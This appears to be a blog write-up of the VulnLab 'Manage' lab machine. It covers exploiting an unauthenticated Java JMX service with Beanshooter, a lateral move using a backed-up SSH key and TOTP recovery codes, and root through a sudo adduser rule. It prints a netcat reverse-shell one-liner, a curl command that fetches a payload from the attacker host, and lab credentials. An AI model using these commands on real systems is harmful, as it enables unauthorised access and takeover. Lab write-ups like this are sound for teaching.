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VulnLab: Manage

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By Thomas Fieber
10 min read
VulnLab: Manage

TL;DR

Manage is an EASY machine on VulnLab. This box involved abusing a Java JMX service to get command execution on the server. Once on the server, we find a backup archive that contains files from a user’s home directory that we can use to move laterally. After moving to the second user, we find that we’re able to run a command as root that we can use to add a new privileged user on the system.

Enumeration

Nmap

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PORT      STATE SERVICE    REASON         VERSION
22/tcp    open  ssh        syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a9:36:3d:1d:43:62:bd:b3:88:5e:37:b1:fa:bb:87:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL/6LNCGTwX42XmhwON6uF7gkwKfdO4iIzYnFD87dWpXiPrNIYgfW0953r40u4j4DAf+PhgdmdKKKE8KIifQaVc=
|   256 da:3b:11:08:81:43:2f:4c:25:42:ae:9b:7f:8c:57:98 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGbGFCw+4cyYAXrdHnPXp2K1ojZhTcQrXPI+pDFW5vkh
2222/tcp  open  java-rmi   syn-ack ttl 63 Java RMI
| rmi-dumpregistry:
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub
|     @127.0.1.1:34355
|     extends
|       java.rmi.server.RemoteStub
|       extends
|_        java.rmi.server.RemoteObject
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
8080/tcp  open  http       syn-ack ttl 63 Apache Tomcat 10.1.19
|_http-favicon: Apache Tomcat
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Apache Tomcat/10.1.19
33337/tcp open  tcpwrapped syn-ack ttl 63
34355/tcp open  java-rmi   syn-ack ttl 63 Java RMI
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


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10.10.126.113:22
10.10.126.113:2222
10.10.126.113:8080
10.10.126.113:33337
10.10.126.113:34355

Right off the bat, the most interesting service is the Java-RMI service on port 2222. Note the jmxrmi in the nmap output. According to the Oracle documentation, the Java Management Extensions (JMX) is a standard part of the Java platform that provides a simple, standard way of managing resources such as applications, devices, and services.

Overview of JMX Technology

Managed Beans, or MBeans, are a fundamental concept of the JMX API. The JMX specification defines five types of beans:

  • Standard MBeans
  • Dynamic MBeans
  • Open MBeans
  • Model MBeans
  • MXBeans

Introducing MBeans

Foothold

Exploiting Java JMXRMI

We can use the Beanshooter tool to enumerate the jmxrmi service and ultimately exploit the service to get a foothold on the box.

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➜  manage $ beanshooter enum $ip 2222                                                                                          
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Checking available bound names:
[+]
[+]     * jmxrmi (JMX endpoint: 127.0.1.1:44703)
[+]
[+] Checking for unauthorized access:
[+]
[+]     - Remote MBean server does not require authentication.
[+]       Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+]     - Remote MBeanServer rejected the payload class.
[+]       Vulnerability Status: Non Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+]     - 158 MBeans are currently registred on the MBean server.
[+]       Listing 136 non default MBeans:
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Loader,host=localhost,context=/host-manager)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=numberwriter,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.catalina.mbeans.NamingResourcesMBean (Catalina:type=NamingResources,host=localhost,context=/host-manager)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/host-manager,name=HostManager,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,WebModule=//localhost/host-manager,name=Tomcat WebSocket (JSR356) Filter,J2EEApplication=none,J2EEServer=none)

[...SNIP...]

[+]       - org.apache.catalina.mbeans.UserMBean (Users:type=User,username="manager",database=UserDatabase)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/examples,name=responsetrailer,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/manager,name=JMXProxy,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebModule=//localhost/manager,name=HTMLManager,J2EEApplication=none,J2EEServer=none)
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=ParallelWebappClassLoader,host=localhost,context=/)
[+]       - org.apache.catalina.mbeans.ContextEnvironmentMBean (Catalina:type=Environment,resourcetype=Context,host=localhost,context=/examples,name=foo/bar/name2)
[+]       - com.sun.management.internal.DiagnosticCommandImpl (com.sun.management:type=DiagnosticCommand) (action: diagnostic)
[+]
[+] Enumerating tomcat users:
[+]
[+]     - Listing 2 tomcat users:
[+]
[+]             ----------------------------------------
[+]             Username:  manager
[+]             Password:  fhErvo2r9wuTEYiYgt
[+]             Roles:
[+]                        Users:type=Role,rolename="manage-gui",database=UserDatabase
[+]
[+]             ----------------------------------------
[+]             Username:  admin
[+]             Password:  onyRPCkaG4iX72BrRtKgbszd
[+]             Roles:
[+]                        Users:type=Role,rolename="role1",database=UserDatabase

After looking through the documentation, it’s possible to get code execution by leveraging the standard MBean to execute commands on the server.

There are probably multiple ways to do this, but I put the following payload in a file and saved it as shell.sh

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rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.8.2.86 9001 >/tmp/f

We can use beanshooter to grab the shell.sh file from our attacker machine. Please note that I have an alias set up for ‘beanshooter’ that runs the JAR file.

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➜  manage $ beanshooter standard $ip 2222 exec 'curl http://10.8.2.86:8000/shell.sh -o /dev/shm/shell.sh'
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+]     Deplyoing MBean: StandardMBean
[+]     MBean with object name de.qtc.beanshooter:standard=4573249368457 was successfully deployed.
[+]
[+]     Caught NullPointerException while invoking the newTransformer action.
[+]     This is expected bahavior and the attack most likely worked :)
[+]
[+]     Removing MBean with ObjectName de.qtc.beanshooter:standard=4573249368457 from the MBeanServer.
[+]     MBean was successfully removed.

Once the shell.sh file is on the target machine we can execute it with the following:

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➜  manage $ beanshooter standard $ip 2222 exec 'sh /dev/shm/shell.sh'
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+]     Deplyoing MBean: StandardMBean
[+]     MBean with object name de.qtc.beanshooter:standard=4794690013321 was successfully deployed.
[+]
[+]     Caught NullPointerException while invoking the newTransformer action.
[+]     This is expected bahavior and the attack most likely worked :)
[+]
[+]     Removing MBean with ObjectName de.qtc.beanshooter:standard=4794690013321 from the MBeanServer.
[+]     MBean was successfully removed.

When that runs we get a shell as the tomcat user and can grab the user.txt flag from the /opt/tomcat directory.

Lateral Movement

Looking around the file system, we find a backups directory in the /home/useradmin folder.

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tomcat@manage:/home/useradmin/backups$ ls -la
ls -la
total 12
drwxrwxr-x 2 useradmin useradmin 4096 Jun 21 16:51 .
drwxr-xr-x 5 useradmin useradmin 4096 Jun 21 16:51 ..
-rw-rw-r-- 1 useradmin useradmin 3088 Jun 21 16:50 backup.tar.gz

We can transfer that bacckup.tar.gz file over to our attacker machine and extract it. once we’ve done that, we find what appears to be a backup of the useradmin home directory.

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➜  backups $ ls -la
total 22
drwxrwxrwx 1 root root 4096 Jun 21 11:48 .
drwxrwxrwx 1 root root 4096 Jun 28 16:49 ..
drwxrwxrwx 1 root root    0 Jun 21 11:48 .cache
drwxrwxrwx 1 root root 4096 Jun 21 10:53 .ssh
-rwxrwxrwx 1 root root  220 Jun 21 10:46 .bash_logout
-rwxrwxrwx 1 root root 3771 Jun 21 10:46 .bashrc
-r-xr-xr-x 1 root root  200 Jun 21 11:48 .google_authenticator
-rwxrwxrwx 1 root root  807 Jun 21 10:46 .profile
-rwxrwxrwx 1 root root 3088 Jun 21 11:50 backup.tar.gz

That .google_authenticator file looks interesting. Checking that out, it seems to contain some backup codes and maybe a secret to set up Google Authenticator for generating Time-based One-Time Passwords (TOTP). Set this aside for now; we’ll need these later on.

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➜  backups $ cat .google_authenticator
CLSSSMHYGLENX5HAIFBQ6L35UM
" RATE_LIMIT 3 30 1718988529
" WINDOW_SIZE 3
" DISALLOW_REUSE 57299617
" TOTP_AUTH
99852083
20312647
73235136
92971994
86175591
98991823
54032641
69267218
76839253
56800775

Checking the .ssh directory, we find a private key.

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➜  .ssh $ ls -la
total 10
drwxrwxrwx 1 root root 4096 Jun 21 10:53 .
drwxrwxrwx 1 root root 4096 Jun 21 11:48 ..
-rwxrwxrwx 1 root root   98 Jun 21 10:56 authorized_keys
-rwxrwxrwx 1 root root  411 Jun 21 10:53 id_ed25519
-rwxrwxrwx 1 root root   98 Jun 21 10:53 id_ed25519.pub

When trying to ssh using the key, we get prompted for a verification code. Grab one of the recovery codes from the .google_authenticator file and use that here.

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➜  .ssh $ ssh -i id_ed25519 useradmin@$ip
The authenticity of host '10.10.93.168 (10.10.93.168)' can't be established.
ED25519 key fingerprint is SHA256:mTJofQVp4T/1uO1CFsfPt8SADZfjbzIIynR0Zeqi0qo.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.93.168' (ED25519) to the list of known hosts.
(useradmin@10.10.93.168) Verification code:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri Jun 28 10:12:35 PM UTC 2024

  System load:  0.0               Processes:             111
  Usage of /:   74.4% of 6.06GB   Users logged in:       0
  Memory usage: 39%               IPv4 address for ens5: 10.10.93.168
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Fri Jun 21 16:48:53 2024 from 192.168.94.139
useradmin@manage:~$

Privilege Escalation

Checking to see what the useradmin user can run as root, we see that we’re able to run adduser, but we’re limited to alphanumeric characters, so no passing arguments like --uid.

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useradmin@manage:~$ sudo -l
Matching Defaults entries for useradmin on manage:
    env_reset, timestamp_timeout=1440, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User useradmin may run the following commands on manage:
    (ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$

We’re given a hint on this box to look at the default Ubuntu sudoers file. When we do, we see that members of the admin group may gain root privileges

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# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

Since we know that when a new user is created, a matching group is created (by default), if we add an admin user, then the admin group should be added and the admin user will be added automatically.

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useradmin@manage:~$ sudo /usr/sbin/adduser admin
Adding user `admin' ...
Adding new group `admin' (1003) ...
Adding new user `admin' (1003) with group `admin' ...
Creating home directory `/home/admin' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for admin
Enter the new value, or press ENTER for the default
        Full Name []: Admin
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n]

After switching to the admin user and running sudo -l again, we see that we can run any command as root.

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admin@manage:/home/useradmin$ sudo -l
[sudo] password for admin:
Matching Defaults entries for admin on manage:
    env_reset, timestamp_timeout=1440, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User admin may run the following commands on manage:
    (ALL) ALL

We can use sudo su to become root and grab the root flag.

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root@manage:~# ls -la
total 40
drwx------  6 root root 4096 Jun 22 15:15 .
drwxr-xr-x 19 root root 4096 Mar  1 04:20 ..
lrwxrwxrwx  1 root root    9 Jun 21 16:52 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Oct 15  2021 .bashrc
drwx------  2 root root 4096 Mar  1 20:14 .cache
-r--------  1 root root  200 Jun 22 15:12 .google_authenticator
drwxr-xr-x  3 root root 4096 Jun 21 15:19 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-r--r--  1 root root   37 Mar  1 07:29 root.txt
drwx------  3 root root 4096 Mar  1 04:23 snap
drwx------  2 root root 4096 Jun 21 15:26 .ssh
-rw-r--r--  1 root root    0 Mar  1 04:35 .sudo_as_admin_successful
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